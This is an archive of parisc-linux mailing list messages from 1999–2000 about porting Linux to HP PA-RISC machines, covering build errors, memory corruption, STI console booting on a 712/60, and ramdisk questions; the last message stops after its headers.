From: David Huggins-Daines <dhd@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] weird memory/file corruption errors building glibc and other things
Date: 18 Oct 2000 12:42:10 -0400
Organization: Linuxcare, Inc.
Lines: 34
Approved: news@gmane.org
Message-ID: <87wvf614pp.fsf@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416619194 4814 80.91.229.3 (22 Nov 2014 01:19:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:19:54 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: dhd@linuxcare.com  Wed Oct 18 10:41:01 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id KAA17462
	for <parisc-linux@puffin.external.hp.com>; Wed, 18 Oct 2000 10:41:00 -0600
Original-Received: (qmail 24405 invoked by uid 15267); 18 Oct 2000 16:42:17 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 23914 invoked from network); 18 Oct 2000 16:41:54 -0000
Original-Received: from ottawa.linuxcare.com (HELO tarwebok) (216.208.98.2)
  by mailserv2.iuinc.com with SMTP; 18 Oct 2000 16:41:54 -0000
Original-Received: from dhd by tarwebok with local (Exim 3.16 #1 (Debian))
	id 13lwI6-0000Wu-00
	for <parisc-linux@thepuffingroup.com>; Wed, 18 Oct 2000 12:42:10 -0400
Original-Lines: 33
User-Agent: Gnus/5.0807 (Gnus v5.8.7) Emacs/20.6
X-MIME-Autoconverted: from quoted-printable to 8bit by puffin.external.hp.com id KAA17462
Xref: news.gmane.org gmane.linux.ports.parisc:8157

Hi,

I get some very strange file corruption errors when building glibc on
the A180.  Specifically the dependency files end up with weird garbage
overwritten in them, and the glibc build fails like this:

ln /home/build/glibc-2.1.95/hppa-linux/obj/dummy.d /home/build/glibc-2.1.95/hppa-linux/obj/stdlib/lshift.d
make[3]: @@/build/glibc-2.1.95/hppa-linux/obj/dummy.d: Command not found
make[2]: *** [stdlib/subdir_lib] Error 127
make[2]: Leaving directory `/home/build/glibc-2.1.95/glibc-2.1.95'
make[1]: *** [all] Error 2
make[1]: Leaving directory `/home/build/glibc-2.1.95/hppa-linux/obj'

This seems to be mostly random, because if I remove the offending
files and restart the build, it will usually succeed.

I also get lots of other random errors when building other packages.
Usually these end up triggering assertions in bash's malloc wrapper
code or causing make to segfault or bus error.  They are not
repeatable, and usually restarting the build makes them go away, at
least on the second or third try.

I don't know what other info I can provide.  Like I say, the errors
are random and seem to be caused by memory corruption, though there
are a few places where they tend to get "caught" more often than not.

I am not using swap at all either, because swapping does not work - I
get "invalid swap entry" errors on the console and my processes
segfault or bus-error more quickly than usual.

-- 
dhd@linuxcare.com, http://www.linuxcare.com/
Linuxcare. Support for the revolution.


From - Thu Nov 08 21:13:44 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] booting on 712/60
Date: Wed, 18 Oct 2000 09:54:05 -0700
Lines: 21
Approved: news@gmane.org
Message-ID: <200010181654.JAA14222@milano.cup.hp.com>
References: <39ED4B3B.85348ED2@videotron.ca>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619194 4817 80.91.229.3 (22 Nov 2014 01:19:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:19:54 +0000 (UTC)
Cc: "parisc-linux@thepuffingroup.com" <parisc-linux@thepuffingroup.com>
To: James Waterhouse <james.waterhouse@videotron.ca>
Original-X-From: grundler@cup.hp.com  Wed Oct 18 10:48:51 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id KAA18018
	for <parisc-linux@puffin.external.hp.com>; Wed, 18 Oct 2000 10:48:50 -0600
Original-Received: (qmail 816 invoked by uid 15267); 18 Oct 2000 16:50:11 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 32673 invoked from network); 18 Oct 2000 16:49:37 -0000
Original-Received: from palrel1.hp.com (156.153.255.242)
  by mailserv2.iuinc.com with SMTP; 18 Oct 2000 16:49:37 -0000
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.8.80.76])
	by palrel1.hp.com (Postfix) with ESMTP
	id 7A8BE3B3; Wed, 18 Oct 2000 09:49:36 -0700 (PDT)
Original-Received: from localhost (grundler@localhost [127.0.0.1])
	by milano.cup.hp.com (8.9.3 (PHNE_18546)/8.9.3 SMKit7.02) with SMTP id JAA14222;
	Wed, 18 Oct 2000 09:54:06 -0700 (PDT)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
In-reply-to: Your message of "Wed, 18 Oct 2000 03:03:23 PDT."
             <39ED4B3B.85348ED2@videotron.ca> 
Xref: news.gmane.org gmane.linux.ports.parisc:8158

James Waterhouse wrote:
> Hello,
> 	I just compiled a ramdisk using mondays cvs src for everything. I'm
> using the graphics console ramdisk file off the puffin.external.hp.com
> (ramdisk20000530-sticon.tgz) to make the ramdisk. Now when I got to boot
> it boots up until the point where the kernel says...

iirc, ramdisk20000530-sticon.tgz uses a "kluge" /dev/tty major/minor number.
I was reading old mail on this and the kluge to use a different
major/minor confused me. I was told this was no longer needed.
So you can use a newer/regular ramdisk.

Mathew Wilcox posted the "how-to" on ramdisk:
    http://puffin.external.hp.com/mailing-lists/parisc-linux/2000/01-Jan/0078.html

grant

Grant Grundler
Unix Systems Enablement Lab
+1.408.447.7253


From - Thu Nov 08 21:13:44 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: problems with binutils and/or g++
Date: Wed, 18 Oct 2000 12:53:41 -0400 (EDT)
Lines: 34
Approved: news@gmane.org
Message-ID: <200010181653.MAA06998@hiauly1.hia.nrc.ca>
References: <87itqq2p7f.fsf@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619194 4820 80.91.229.3 (22 Nov 2014 01:19:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:19:54 +0000 (UTC)
Cc: randolph@tausq.org, alan@linuxcare.com.au, parisc-linux@thepuffingroup.com
To: dhd@linuxcare.com (David Huggins-Daines)
Original-X-From: dave@hiauly1.hia.nrc.ca  Wed Oct 18 10:53:15 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id KAA18565
	for <parisc-linux@puffin.external.hp.com>; Wed, 18 Oct 2000 10:53:14 -0600
Original-Received: (qmail 6504 invoked by uid 15267); 18 Oct 2000 16:54:34 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 6073 invoked from network); 18 Oct 2000 16:54:16 -0000
Original-Received: from hiauly1.hia.nrc.ca (132.246.100.193)
  by mailserv2.iuinc.com with SMTP; 18 Oct 2000 16:54:16 -0000
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.9.3/8.9.3) id MAA06998;
	Wed, 18 Oct 2000 12:53:42 -0400 (EDT)
In-Reply-To: <87itqq2p7f.fsf@linuxcare.com> from "David Huggins-Daines" at Oct 18, 2000 10:34:12 am
X-Mailer: ELM [version 2.4 PL25]
Xref: news.gmane.org gmane.linux.ports.parisc:8159

> Randolph Chung <randolph@tausq.org> writes:
> 
> > Alan, for my curiosity, could you explain this particular line from g++'s 
> > output (from dhd's message)?
> > 
> > ../build/obj/cmdline/apt-get.o(.gnu.linkonce.t.__tf10LogCleaner+0x1c):
> > cannot handle R_PARISC_PCREL17F for pkgArchiveCleaner type_info function
> > 
> > that seems to be causing the "undefined" symbol messages.
> 
> No, it's caused *by* the undefined symbol.  If a symbol is undefined,
> it won't have a stub hash entry.  If it doesn't have a stub hash entry
> and it is either in a shared library or out of branch range, then
> relocations to it can't be handled.  Thus the error message.

I have observed problems with cc1plus regarding weak symbols that sometimes
don't get output.  For example, libg++ wouldn't build under i386 linux for
a number of weeks because of this.  Turning off math inlining (define
__NO_MATH_INLINES) would for some strange reason fix the problem.  The
problem was fixed a week or two ago, although it is not clear what patch
fixed the problem.  The problem didn't seem to occur for the pa port
under hpux.

On the otherhand, cc1plus has problems compiling tFile.cc in the libio
testsuite under hpux.  Although the compile does complete sucessfully
after a long time, it uses an enormous amount of memory.  This doesn't
happen under i386 linux.  I have determined the memory blow up occurs
in the gcse pass but haven't been able to find the cause as of yet.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)


From - Thu Nov 08 21:13:44 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: David Huggins-Daines <dhd@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] booting on 712/60
Date: 18 Oct 2000 13:04:42 -0400
Organization: Linuxcare, Inc.
Lines: 25
Approved: news@gmane.org
Message-ID: <87r95e13o5.fsf@linuxcare.com>
References: <200010181654.JAA14222@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619195 4822 80.91.229.3 (22 Nov 2014 01:19:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:19:55 +0000 (UTC)
Cc: James Waterhouse <james.waterhouse@videotron.ca>,
        "parisc-linux@thepuffingroup.com" <parisc-linux@thepuffingroup.com>
To: Grant Grundler <grundler@cup.hp.com>
Original-X-From: dhd@linuxcare.com  Wed Oct 18 11:13:32 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id LAA19351
	for <parisc-linux@puffin.external.hp.com>; Wed, 18 Oct 2000 11:13:31 -0600
Original-Received: (qmail 32103 invoked by uid 15267); 18 Oct 2000 17:14:51 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 31656 invoked from network); 18 Oct 2000 17:14:37 -0000
Original-Received: from ottawa.linuxcare.com (HELO tarwebok) (216.208.98.2)
  by mailserv2.iuinc.com with SMTP; 18 Oct 2000 17:14:37 -0000
Original-Received: from dhd by tarwebok with local (Exim 3.16 #1 (Debian))
	id 13lwe2-0000X8-00; Wed, 18 Oct 2000 13:04:50 -0400
In-Reply-To: Grant Grundler's message of "Wed, 18 Oct 2000 09:54:05 -0700"
Original-Lines: 24
User-Agent: Gnus/5.0807 (Gnus v5.8.7) Emacs/20.6
Xref: news.gmane.org gmane.linux.ports.parisc:8160

Grant Grundler <grundler@cup.hp.com> writes:

> James Waterhouse wrote:
> > Hello,
> > 	I just compiled a ramdisk using mondays cvs src for everything. I'm
> > using the graphics console ramdisk file off the puffin.external.hp.com
> > (ramdisk20000530-sticon.tgz) to make the ramdisk. Now when I got to boot
> > it boots up until the point where the kernel says...
> 
> iirc, ramdisk20000530-sticon.tgz uses a "kluge" /dev/tty major/minor number.
> I was reading old mail on this and the kluge to use a different
> major/minor confused me. I was told this was no longer needed.
> So you can use a newer/regular ramdisk.

Ah!  Actually that triggers my memory.  You *must* append
'console=tty' to the kernel command line in order to use sticon (or
probably fbcon too for that matter), or else it will default to
serial.

Usually the PALO makefile handles this for you though.

-- 
dhd@linuxcare.com, http://www.linuxcare.com/
Linuxcare. Support for the revolution.


From - Thu Nov 08 21:13:44 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] booting on 712/60
Date: Wed, 18 Oct 2000 20:22:54 +0200
Lines: 38
Approved: news@gmane.org
Message-ID: <00101820225400.00316@P100>
References: <200010181654.JAA14222@milano.cup.hp.com> <87r95e13o5.fsf@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="us-ascii"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416619195 4824 80.91.229.3 (22 Nov 2014 01:19:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:19:55 +0000 (UTC)
To: parisc-linux <parisc-linux@thepuffingroup.com>
Original-X-From: deller@gmx.de  Wed Oct 18 12:22:27 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id MAA20358
	for <parisc-linux@puffin.external.hp.com>; Wed, 18 Oct 2000 12:22:26 -0600
Original-Received: (qmail 12523 invoked by uid 15267); 18 Oct 2000 18:23:46 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 11837 invoked from network); 18 Oct 2000 18:23:18 -0000
Original-Received: from pop.gmx.net (HELO mail.gmx.net) (194.221.183.20)
  by mailserv2.iuinc.com with SMTP; 18 Oct 2000 18:23:18 -0000
Original-Received: (qmail 15821 invoked by uid 0); 18 Oct 2000 18:22:50 -0000
Original-Received: from r84.str.dial.surf-callino.de (HELO P100) (213.21.10.84)
  by mail.gmx.net with SMTP; 18 Oct 2000 18:22:50 -0000
X-Mailer: KMail [version 1.1.99]
In-Reply-To: <87r95e13o5.fsf@linuxcare.com>
Xref: news.gmane.org gmane.linux.ports.parisc:8161

Am Wednesday 18 October 2000 19:04 schrieb David Huggins-Daines:
> Grant Grundler <grundler@cup.hp.com> writes:
> 
> > James Waterhouse wrote:
> > > Hello,
> > > 	I just compiled a ramdisk using mondays cvs src for everything. I'm
> > > using the graphics console ramdisk file off the puffin.external.hp.com
> > > (ramdisk20000530-sticon.tgz) to make the ramdisk. Now when I got to boot
> > > it boots up until the point where the kernel says...
> > 
> > iirc, ramdisk20000530-sticon.tgz uses a "kluge" /dev/tty major/minor 
number.
> > I was reading old mail on this and the kluge to use a different
> > major/minor confused me. I was told this was no longer needed.
> > So you can use a newer/regular ramdisk.
> 
> Ah!  Actually that triggers my memory.  You *must* append
> 'console=tty' to the kernel command line in order to use sticon (or
> probably fbcon too for that matter), or else it will default to
> serial.
> 
> Usually the PALO makefile handles this for you though.

Yeah, that was the problem ! I just found it too !
(And you need to enable getty in /etc/inittab).

Thanks,
Helge

> 
> -- 
> dhd@linuxcare.com, http://www.linuxcare.com/
> Linuxcare. Support for the revolution.
> 
> ---------------------------------------------------------------------------
> To unsubscribe: send e-mail to parisc-linux-request@thepuffingroup.com with
> `unsubscribe' as the subject.


From - Thu Nov 08 21:13:44 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matt Taggart <taggart@carmen.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] HP C110
Date: Wed, 18 Oct 2000 14:55:04 -0600
Lines: 19
Approved: news@gmane.org
Message-ID: <20001018205504.0B89938137@carmen.fc.hp.com>
References: <17833349.971811148484.JavaMail.cpadmin@viper>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619195 4829 80.91.229.3 (22 Nov 2014 01:19:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:19:55 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: raunaq sushil pungaliya <rsp3@uakron.edu>
Original-X-From: taggart@carmen.fc.hp.com  Wed Oct 18 14:52:30 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id OAA21492
	for <parisc-linux@puffin.external.hp.com>; Wed, 18 Oct 2000 14:52:29 -0600
Original-Received: (qmail 23688 invoked by uid 15267); 18 Oct 2000 20:53:49 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 22835 invoked from network); 18 Oct 2000 20:53:21 -0000
Original-Received: from cosrel2.hp.com (156.153.255.162)
  by mailserv2.iuinc.com with SMTP; 18 Oct 2000 20:53:21 -0000
Original-Received: from carmen.fc.hp.com (carmen.fc.hp.com [15.1.51.72])
	by cosrel2.hp.com (Postfix) with ESMTP
	id 18E2596A; Wed, 18 Oct 2000 14:52:55 -0600 (MDT)
Original-Received: from carmen.fc.hp.com (localhost [127.0.0.1])
	by carmen.fc.hp.com (Postfix) with ESMTP
	id 0B89938137; Wed, 18 Oct 2000 14:55:04 -0600 (MDT)
X-Mailer: exmh version 2.1.1 10/15/1999 (debian)
In-Reply-To: Message from raunaq sushil pungaliya <rsp3@uakron.edu> 
   of "Tue, 17 Oct 2000 15:32:28 EDT." <17833349.971811148484.JavaMail.cpadmin@viper> 
Xref: news.gmane.org gmane.linux.ports.parisc:8162


raunaq sushil pungaliya writes...

> Hi
> I have an HP C110 (120Mhz, 256MB, 2.0 GB) I bought off the Internet. It 
> does not have an OS on it. Can I install linux on it? If yes, where do 
> I download the port? Thanks. 

Read,

http://www.thepuffingroup.com/parisc/software.html

HTH,

-- 
Matt Taggart
taggart@fc.hp.com



From - Thu Nov 08 21:13:44 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Waterhouse <james.waterhouse@videotron.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] booting 712/60 with STI console
Date: Wed, 18 Oct 2000 16:56:29 -0400
Lines: 32
Approved: news@gmane.org
Message-ID: <39EE0E7D.5B1BC51D@videotron.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619196 4835 80.91.229.3 (22 Nov 2014 01:19:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:19:56 +0000 (UTC)
To: "parisc-linux@thepuffingroup.com" <parisc-linux@thepuffingroup.com>
Original-X-From: james.waterhouse@videotron.ca  Wed Oct 18 14:56:16 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id OAA21977
	for <parisc-linux@puffin.external.hp.com>; Wed, 18 Oct 2000 14:56:16 -0600
Original-Received: (qmail 29206 invoked by uid 15267); 18 Oct 2000 20:57:36 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 27831 invoked from network); 18 Oct 2000 20:56:35 -0000
Original-Received: from relais.videotron.ca (HELO VL-MS-MR002.sc1.videotron.ca) (mail@24.201.245.36)
  by mailserv2.iuinc.com with SMTP; 18 Oct 2000 20:56:35 -0000
Original-Received: from videotron.ca ([216.113.0.11]) by
          VL-MS-MR002.sc1.videotron.ca (Netscape Messaging Server 4.15)
          with ESMTP id G2N8U902.PEL for
          <parisc-linux@thepuffingroup.com>; Wed, 18 Oct 2000 16:56:33 -0400 
Original-Sender: fleet@mailserv2.iuinc.com
X-Mailer: Mozilla 4.73 [en] (X11; I; Linux 2.2.17 i586)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:8163


Alright, I recompiled my kernel using dhd's config but I'm still getting
no where. No when I boot I get something like this...

Console: switching to color STI console 80x30
searching for byte mode STI ROMs
STI ROM from PDC at f0080000
found potential STI ROM at f0080000
STI word mode ROM at f0080000, ignored
eth0: link ok.
Sending BOOTP requests.... OK
IP-Config: Got BOOTP answer from 192.168.1.99, my addressis
192.168.1.111
kmem_create: Forcing size word alignment - nfs_fh
Kernel panic: VFS: Unable to mount root fs on 01:00

And that's it. It is running cause I can ping it.
	Another thing is there anyone working on getting everthing to install
on a hard drive (self hoasting is what it is called?)? I noticed from
the palo docs that the only way to get everything on a hard drive is to
partition it and then install the kernel via palo from another comp (a
linux box). Is this still true? If not then I'd like to try and see if I
can get it working. Unless someone better qualified is working on it.

James

-- 
Can you discern the signs of the times? || www.danielrevelation.com
Do you see the storm fast approaching?  || www.sundaylaw.com
Is your future built on "The Rock"?     ||
www.bibleinfo.com/sc/toc_sc.html


From - Thu Nov 08 21:13:44 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Waterhouse <james.waterhouse@videotron.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [Fwd: Re: [parisc-linux] booting on 712/60]
Date: Wed, 18 Oct 2000 17:03:36 -0400
Lines: 42
Approved: news@gmane.org
Message-ID: <39EE1028.35BC8D0A@videotron.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619196 4836 80.91.229.3 (22 Nov 2014 01:19:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:19:56 +0000 (UTC)
To: "parisc-linux@thepuffingroup.com" <parisc-linux@thepuffingroup.com>
Original-X-From: james.waterhouse@videotron.ca  Wed Oct 18 15:02:42 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id PAA22687
	for <parisc-linux@puffin.external.hp.com>; Wed, 18 Oct 2000 15:02:42 -0600
Original-Received: (qmail 7401 invoked by uid 15267); 18 Oct 2000 21:04:02 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 6783 invoked from network); 18 Oct 2000 21:03:40 -0000
Original-Received: from relais.videotron.ca (HELO VL-MS-MR002.sc1.videotron.ca) (mail@24.201.245.36)
  by mailserv2.iuinc.com with SMTP; 18 Oct 2000 21:03:40 -0000
Original-Received: from videotron.ca ([216.113.0.11]) by
          VL-MS-MR002.sc1.videotron.ca (Netscape Messaging Server 4.15)
          with ESMTP id G2N96201.5DV for
          <parisc-linux@thepuffingroup.com>; Wed, 18 Oct 2000 17:03:38 -0400 
Original-Sender: fleet@mailserv2.iuinc.com
X-Mailer: Mozilla 4.73 [en] (X11; I; Linux 2.2.17 i586)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:8164

David Huggins-Daines wrote:
> 
> David Huggins-Daines <dhd@linuxcare.com> writes:
> 
> > Helge Deller <deller@gmx.de> writes:
> >
> > > I'm seeing the same here. The kernel switches independend of your
> > > kernel-settings (STI-Console - no STI-Console) to serial-console and just
> > > puts some of it's error-messages to the STI-console.
> > > If you don't have a nullmodem cable, you could try to ping/telnet your
> > > parisc, to see if it's still alive.
> > > I currently don't know which change in CVS disallowed us to use just
> > > STI-Console, but will try to figure out later today.
> >
> > Very strange, because it worked for me.  But perhaps I had a magical
> > combination of .config settings that eludes others.
> 
> Well, I can't reproduce this on my 712/80 with either sticon or stifb.
> I've attached my .config for sticon.
> 
>   ------------------------------------------------------------------------
>                                Name: config-sti-not-borken
>    config-sti-not-borken       Type: Plain Text (text/plain)
>                         Description: config
> 
>   ------------------------------------------------------------------------

After looking at dhd's config I think my problem may be just due to
stupidity on my part. I don't know anything about hp's and have just had
my hp for about three days now. Knowing nothing about hp's I just used
the default config for linux and that is prob where the problem is.
Anyway I will compile a new kernel and get back to you on this.

Thanks,
James

-- 
Can you discern the signs of the times? || www.danielrevelation.com
Do you see the storm fast approaching?  || www.sundaylaw.com
Is your future built on "The Rock"?     ||
www.bibleinfo.com/sc/toc_sc.html


From - Thu Nov 08 21:13:44 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Waterhouse <james.waterhouse@videotron.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [Fwd: Re: [parisc-linux] booting on 712/60]
Date: Wed, 18 Oct 2000 17:04:17 -0400
Lines: 42
Approved: news@gmane.org
Message-ID: <39EE1051.A7E29945@videotron.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619196 4837 80.91.229.3 (22 Nov 2014 01:19:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:19:56 +0000 (UTC)
To: "parisc-linux@thepuffingroup.com" <parisc-linux@thepuffingroup.com>
Original-X-From: james.waterhouse@videotron.ca  Wed Oct 18 15:03:13 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id PAA22760
	for <parisc-linux@puffin.external.hp.com>; Wed, 18 Oct 2000 15:03:13 -0600
Original-Received: (qmail 8314 invoked by uid 15267); 18 Oct 2000 21:04:31 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 7977 invoked from network); 18 Oct 2000 21:04:21 -0000
Original-Received: from relais.videotron.ca (HELO VL-MS-MR003.sc1.videotron.ca) (mail@24.201.245.36)
  by mailserv2.iuinc.com with SMTP; 18 Oct 2000 21:04:21 -0000
Original-Received: from videotron.ca ([216.113.0.11]) by
          VL-MS-MR003.sc1.videotron.ca (Netscape Messaging Server 4.15)
          with ESMTP id G2N97700.5EF for
          <parisc-linux@thepuffingroup.com>; Wed, 18 Oct 2000 17:04:19 -0400 
Original-Sender: fleet@mailserv2.iuinc.com
X-Mailer: Mozilla 4.73 [en] (X11; I; Linux 2.2.17 i586)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:8165

Hello,
Is the ramdisk at 
ftp://puffin.external.hp.com/pub/parisc/binaries/ramdisks/ramdisk.bin-20000803
useable? I'm just wondering cause in the recipe we are told to use the
older ramdisks. Also this ramdisk doe not say wether it is for serial or
graphics console. But since I read Grants reply it would seem that it
does not matter. Is this true? Is this a useable ramdisk? What can
anyone tell me about it?

thanks,
James


Grant Grundler wrote:
> 
> James Waterhouse wrote:
> > Hello,
> >       I just compiled a ramdisk using mondays cvs src for everything. I'm
> > using the graphics console ramdisk file off the puffin.external.hp.com
> > (ramdisk20000530-sticon.tgz) to make the ramdisk. Now when I got to boot
> > it boots up until the point where the kernel says...
> 
> iirc, ramdisk20000530-sticon.tgz uses a "kluge" /dev/tty major/minor number.
> I was reading old mail on this and the kluge to use a different
> major/minor confused me. I was told this was no longer needed.
> So you can use a newer/regular ramdisk.
> 
> Mathew Wilcox posted the "how-to" on ramdisk:
>     http://puffin.external.hp.com/mailing-lists/parisc-linux/2000/01-Jan/0078.html
> 
> grant
> 
> Grant Grundler
> Unix Systems Enablement Lab
> +1.408.447.7253

-- 
Can you discern the signs of the times? || www.danielrevelation.com
Do you see the storm fast approaching?  || www.sundaylaw.com
Is your future built on "The Rock"?     ||
www.bibleinfo.com/sc/toc_sc.html


From - Thu Nov 08 21:13:44 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Phil Schwan <pschwan@thepuffingroup.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] binutils from cvs broke
Date: Wed, 7 Apr 1999 21:33:16 -0400
Lines: 19
Approved: news@gmane.org
Message-ID: <19990407213316.T11091@cmu.edu>
References: <19990407192743.A25057@debian.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619197 4841 80.91.229.3 (22 Nov 2014 01:19:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:19:57 +0000 (UTC)
To: Justin Maurer <justin@master.debian.org>, parisc-linux@thepuffingroup.com
Original-X-From: pschwan@sod.res.cmu.edu  Wed Apr  7 21:33:24 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by sod.res.cmu.edu (8.8.7/8.8.7) with SMTP id VAA22915
	for <parisc-linux@sod.res.cmu.edu>; Wed, 7 Apr 1999 21:33:24 -0400
Original-Received: (qmail 5103 invoked by uid 15267); 8 Apr 1999 01:32:49 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 5096 invoked from network); 8 Apr 1999 01:32:49 -0000
Original-Received: from sod.res.cmu.edu (pschwan@128.2.91.30)
  by mailserv2.iuinc.com with SMTP; 8 Apr 1999 01:32:49 -0000
